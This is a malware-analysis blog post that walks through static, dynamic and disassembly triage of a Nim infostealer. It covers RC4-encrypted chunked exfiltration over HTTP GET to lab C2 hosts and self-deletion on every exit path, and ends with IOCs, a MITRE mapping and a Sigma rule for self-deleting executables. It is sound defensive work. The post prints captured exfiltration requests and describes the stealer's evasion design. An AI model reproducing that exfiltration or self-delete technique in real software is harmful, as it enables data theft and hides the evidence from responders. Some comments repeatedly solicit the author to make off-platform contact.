DEV Community

Cover image for Anatomy of a Nim Infostealer
Vasilis Mantas
Vasilis Mantas

Posted on

Anatomy of a Nim Infostealer

Tracing exfiltration and self-deletion through static, dynamic and advanced static analysis

Vasilis Mantas — Threat Detection Engineer


Verdict: A 64-bit Windows infostealer written in Nim. It reads a target file from disk, encrypts the contents with RC4 using a key it collects at runtime, and exfiltrates the ciphertext in chunks over plain HTTP GET requests to a hardcoded C2 domain. It establishes no persistence. Instead it does the opposite, it deletes itself from disk on every exit path, whether it succeeds, fails, or is interrupted.

This walkthrough covers the full triage chain on a single sample: basic static, basic dynamic, and advanced static analysis. The interesting part is not that the binary steals data. It is how thoroughly it removes itself afterwards, and what that leaves behind for a defender to detect.

A note on provenance: this sample comes from a training set, not from a live incident. The methodology and the detection logic are the point, not attribution.


Sample details

Property Value
MD5 b9497ffb7e9c6f49823b95851ec874e3
SHA-256 3aca2a08cf296f1845d6171958ef0ffd1c8bdfc3e48bdd34a605cb1f7468213e
File size 546.39 KB
Architecture x64, EXE
VirusTotal 37 / 69 vendors flagged at time of analysis
Lab FlareVM (detonation), REMnux (network simulation)

Vendor labels clustered around backdoor and Meterpreter-style naming, which suggested remote access or reverse shell capability. That turned out to be wrong, and it is worth saying so plainly: vendor labels are a starting hypothesis, not a finding. The sample is a stealer, not a backdoor.


Basic static analysis

Running FLOSS against the binary rather than plain strings surfaces stack and obfuscated strings that a naive extraction misses:

FLOSS.exe unknown.exe.malz > output.txt
Enter fullscreen mode Exit fullscreen mode

The output is dominated by nim imports, which is a strong indication the binary was compiled from Nim. That matters practically: Nim binaries carry a large runtime, produce unfamiliar symbol names, and are handled poorly by some decompilers. Knowing the source language early saves an hour of confusion later. The alternative — that an author deliberately salted the strings to look like Nim, is possible but expensive, and nothing later in the analysis supported it.

PEStudio gave the structural picture:

Indicator Detail
Embedded file Overlay at offset 0x0006EA00, size 106,379 bytes
TLS callbacks 2
Section ratio 80.71%
Virtualized section .bss
Manifest identity winim
Suspicious API groups network (16), execution (20), file (20), memory (20)

The winim manifest identity is the Nim library that wraps the Windows API, consistent with the string evidence. The network and file API clusters are the first hint at the sample's actual function: it touches files and it talks over the network.


Basic dynamic analysis

The first detonation, with no network simulation running, produced an unhelpful result, the binary deleted itself a few seconds after execution.

That behaviour is itself a finding. A sample that removes itself when it cannot reach the network is checking for connectivity and bailing out. It also means every subsequent detonation needs REMnux running inetsim first, or there is nothing to observe.

With inetsim providing fake DNS and HTTP, and Wireshark capturing, the picture filled in. The sample completes a TCP three-way handshake and issues an initial callback:

GET / HTTP/1.1
Host: update.ec12-4-109-278-3-ubuntu20-04.local
User-Agent: Mozilla/5.0
Enter fullscreen mode Exit fullscreen mode

It then begins feeding data to a second URI:

GET /feed?post=A8E437E8F0367592569A2870BBDD382A1DFBB01A15FC23999D7788C33502A...
Host: cdn.altimiter.local
Enter fullscreen mode Exit fullscreen mode

Two details are worth pulling out.

First, the long hexadecimal blob in the query string is the exfiltration channel. Data is not POSTed; it is encoded into a GET parameter and sent in pieces. This is deliberately unremarkable traffic, outbound HTTP GETs to a CDN-looking hostname are exactly what a proxy log is full of.

Second, the initial callback URI does not appear anywhere in the strings output. It is concatenated at runtime. Any detection or hunting approach that relies on matching static strings against known-bad domains would have missed this one entirely.

Procmon then confirmed the file interaction:

Operation is CreateFile, Process Name is unknown.exe
→ C:\Users\Public\passwrd.txt   SUCCESS
Enter fullscreen mode Exit fullscreen mode

Notably absent: no startup folder writes, no Run key modification, no scheduled task, no service creation. The binary establishes no persistence mechanism at all.


Advanced static analysis

Loading the binary into Cutter and searching the symbol table for the toRC4 method seen in the strings output gave the pivot point:

[0x00409ab2]
toRC4__OOZOOZOOZOOZOOZOOnimbleZpkgsZ82675245480490482826752_51 (int64_t arg1, int64_t arg2)
    ...
    call  genKeystream__OOZOOZOOZOOZOOZOOnimbleZpkgs...
Enter fullscreen mode Exit fullscreen mode

RC4 is a stream cipher, so its presence tells us the exfiltrated data is encrypted rather than sent in the clear. That explains the hex blob in the GET parameter.

Following the cross-references, toRC4 is called from a method named StealStuff, and the call sits inside a loop. That single structural observation explains the traffic pattern: the sample reads its target, encrypts it in chunks, and sends each chunk as a separate request. The loop in the disassembly and the repeated GETs in the packet capture are the same behaviour viewed from two angles.

The key comes from C:\Users\Public\passwrd.txt, which contains the single string SikoMode, the RC4 passphrase, read from disk at runtime rather than embedded in the binary.

The killswitch and the self-delete

Nim binaries expose three entry-adjacent methods: NimMain, NimMainInner and NimMainModule. The interesting logic lives in NimMainModule:

[0x00417913]
call  nosgetCurrentDir
lea   rcx, [0x00439c58]
call  asgnRef
call  checkKillSwitchURL__sikomode_25
mov   byte [0x00439be4], al
test  al, al
jne   0x417940
Enter fullscreen mode Exit fullscreen mode

checkKillSwitchURL returns a boolean. If the URL is unreachable, execution branches to a method named houdini, appropriately, since it makes the binary disappear.

Tracing the graph further shows houdini is not only reached on failure. It is called when the DNS request fails on execution, when execution is interrupted at any point, and when the sample finishes exfiltrating everything it was written to collect. Every path terminates in self-deletion.

This is a deliberate anti-forensic design. The operator accepts losing reinfection capability in exchange for leaving no binary on disk for a responder to find. It reframes what detection has to look for.


Indicators of compromise

Type Indicator
SHA-256 3aca2a08cf296f1845d6171958ef0ffd1c8bdfc3e48bdd34a605cb1f7468213e
MD5 b9497ffb7e9c6f49823b95851ec874e3
Domain update.ec12-4-109-278-3-ubuntu20-04.local (runtime-concatenated)
Domain cdn.altimiter.local
URI pattern /feed?post=<hex>
File C:\Users\Public\passwrd.txt
Behaviour Self-deletion of the executing binary on all exit paths

MITRE ATT&CK mapping

Tactic Technique
Discovery T1083 — File and Directory Discovery
Collection T1005 — Data from Local System
Command and Control T1071.001 — Application Layer Protocol: Web Protocols
Command and Control T1132.001 — Data Encoding: Standard Encoding
Exfiltration T1041 — Exfiltration Over C2 Channel
Defense Evasion T1070.004 — Indicator Removal: File Deletion
Defense Evasion T1027 — Obfuscated Files or Information

Detection guidance

Most write-ups stop at the IOC table. IOCs age badly — the hash changes on recompile and the domains are burned the moment they are published. The behaviour is what persists, so here is what to actually detect.

1. Self-deletion of a running executable. The strongest signal, because it is unusual for benign software and this sample does it unconditionally. The canonical implementation is a process spawning a command interpreter that deletes the parent's own image path.

title: Executable Deletes Itself After Execution
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
    CommandLine|contains:
      - 'del '
      - 'Remove-Item'
  parent_in_temp:
    ParentImage|contains:
      - '\Users\'
      - '\Temp\'
  condition: selection and parent_in_temp
falsepositives:
  - Installers and self-extracting archives cleaning up
level: medium
Enter fullscreen mode Exit fullscreen mode

2. High-entropy data in outbound HTTP GET query parameters. The exfiltration channel is a long hex string in a URI. Proxy or firewall logs will show it. Threshold on query-string length and character-class distribution rather than on the domain, since the domain is disposable.

3. Unexpected reads of files in C:\Users\Public. The sample sourced its encryption key from a world-readable location. That directory is rarely touched by legitimate user processes and makes a low-noise hunting ground.

4. Beacon-shaped repetition. The chunked exfiltration produces many similar-length requests to one host in a short window. Summarising outbound requests by destination and counting near-identical URI structures surfaces this regardless of what the domain is called.

Detection hypotheses need validating against your own telemetry before they go into production. Treat the rule above as a starting point and tune the parent-process conditions to your environment.


Analyst takeaways

Three things from this sample are worth carrying forward.

Vendor labels are a hypothesis. Thirty-seven engines suggested backdoor. The sample is a stealer with no remote access capability whatsoever. Reading the labels as a conclusion would have sent the entire analysis in the wrong direction.

Absence of persistence is a finding, not a dead end. When a sample deliberately leaves nothing behind, detection has to move up the stack, to network behaviour and to the act of removal itself.

Runtime string construction defeats static matching. The first C2 domain existed nowhere in the binary. Any pipeline that only diffs extracted strings against a blocklist would have reported this file as clean on that dimension.


Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, Wireshark, Procmon and Cutter.

Top comments (4)

Collapse
 
crdtcto profile image
Kane Lim

Hello Glad to see you, I am Kane Lim from Hong Kong. I have over 10 years of development experience. I am writing this because your post was interesting.

The strongest takeaway is that anti forensic behavior itself becomes a detection primitive. Hashes and domains are disposable, but the behavioral sequence is much harder to hide. I would model this as a telemetry correlation problem rather than isolated IOC matching.

For example, correlate process creation, image deletion, DNS resolution, outbound HTTP metadata, unusual GET query entropy, file access, and process ancestry within a short temporal window. A behavioral rule could assign confidence when several weak signals converge, while allowing legitimate installers to establish a lower risk baseline.

I would also enrich the pipeline with ETW and Sysmon telemetry, then build sequence based detections instead of single event signatures. Runtime string construction, chunked exfiltration, and unconditional cleanup become highly visible when correlated.

Excellent reversing methodology. The transition from static indicators toward behavioral analytics is exactly where modern detection engineering becomes much more resilient. I would be glad to exchange ideas on detection pipelines and malware telemetry.

Collapse
 
vasilis_mantas profile image
Vasilis Mantas

Thanks, glad it landed.

One wrinkle on the correlation idea: the self-delete fires on every exit path, including failure. If the DNS lookup dies there's no C2 traffic at all, so exfil can't be a precondition in the rule. The deletion is the only part you're guaranteed to see.

On installers, I don't think the behaviour separates them. A self-deleting installer looks the same at the event level. Signing status and parent process are what I'd score on instead.

Collapse
 
crdtcto profile image
Kane Lim

That's right.
you got the main point
I would like to get to know you better and discuss about your post. Would you please contact me? t_g_@kanelim1997

Collapse
 
crdtcto profile image
Kane Lim

thx, I would like to get to know you better and discuss about your post. Would you please contact me? t_g_@kanelim1997